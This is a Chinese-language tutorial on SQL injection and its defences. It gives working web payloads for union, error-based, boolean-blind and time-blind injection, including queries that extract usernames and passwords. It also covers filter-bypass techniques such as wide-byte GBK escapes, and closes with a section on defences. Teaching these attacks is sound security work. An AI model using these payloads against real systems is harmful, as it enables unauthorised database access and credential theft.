SQL注入
字数 1349 2025-08-22 12:23:41
SQL注入攻击全面解析与防御指南
1. SQL注入概述
SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要原因是Web应用程序在接收数据参数时未做好过滤,直接将用户输入带入数据库查询,导致攻击者可以构造并执行恶意SQL语句。
SQL(结构化查询语言)是关系型数据库的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库。
2. SQL注入类型与攻击技术
2.1 联合查询注入(Union注入)
?id=-1' union select 1,(select database()),'3' limit 0,1
关键点:
- 使用
-1确保第一个SELECT无结果,使第二个SELECT结果能显示 union select合并查询结果limit 0,1限制返回结果数量
信息收集步骤:
- 获取所有数据库:
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3 - 查看特定数据库的表:
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3 - 查看表的所有列:
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3 - 获取数据内容:
?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),'3
2.2 报错注入
extractValue()报错注入
1'||extractvalue(1,concat(0x7e,database()))||'1'='1
updatexml报错注入
updatexml(1,concat(0x7e,(select database())),1)
floor报错注入
and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)
关键函数:
rand(): 随机返回0~1之间的小数floor(): 小数向下取整数ceiling(): 小数向上取整数concat_ws(): 将括号内数据用第一个字段连接起来group_concat(): 将多行结果合并为一行
2.3 布尔盲注
当页面没有报错回显,只有True/False两种响应时使用。
技术要点:
- 使用
ascii()函数将字符转换为ASCII码 - 使用
substr()函数逐字符判断 - 通过比较ASCII值范围确定字符
?id=1' and ascii(substr('语句',1,1))>97 --+
ASCII表关键值:
- 0-31: 控制字符
- 32: 空格
- 48-57: 数字0-9
- 65-90: 大写字母A-Z
- 97-122: 小写字母a-z
2.4 时间盲注
当页面无报错、无回显、无真假值,只有正常页面响应时使用。
关键函数:
sleep(): 参数为休眠时长(秒)if(condition,true,false): 条件判断
1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) #
3. SQL注入过滤绕过技术
3.1 注释符绕过
un/**/ion
3.2 大小写绕过
uNion seLect
3.3 复写单词绕过
ununionion seleselectct
3.4 空格过滤绕过
- 用
+号代替空格 - 使用报错注入(无空格)
- 使用注释符
/**/代替空格
3.5 and和or过滤绕过
- 使用
&&代替and(URL编码为%26%26) - 使用
||代替or
3.6 宽字节注入绕过
前提: 数据库使用GBK编码
原理: 利用GBK编码特性,使反斜杠\与后续字符组合成有效汉字,从而绕过addslashes()等转义函数。
?id=1%df' and 1=1 --+
addslashes()函数会在单引号前添加反斜杠,但在GBK编码中,%df'会被识别为一个汉字,使单引号逃逸。
4. 防御措施
-
参数化查询(预编译语句)
- 使用预处理语句绑定参数
- 避免SQL语句拼接
-
输入验证与过滤
- 白名单验证输入格式
- 对特殊字符进行转义
-
最小权限原则
- 数据库账户使用最小必要权限
- 避免使用root或高权限账户
-
错误处理
- 自定义错误页面
- 避免泄露数据库错误信息
-
安全编码实践
- 使用ORM框架
- 定期安全审计
- 使用Web应用防火墙(WAF)
-
编码设置
- 统一使用UTF-8编码
- 避免宽字节注入漏洞
通过全面理解SQL注入原理、攻击技术和防御措施,开发人员可以构建更安全的Web应用程序,有效防范此类安全威胁。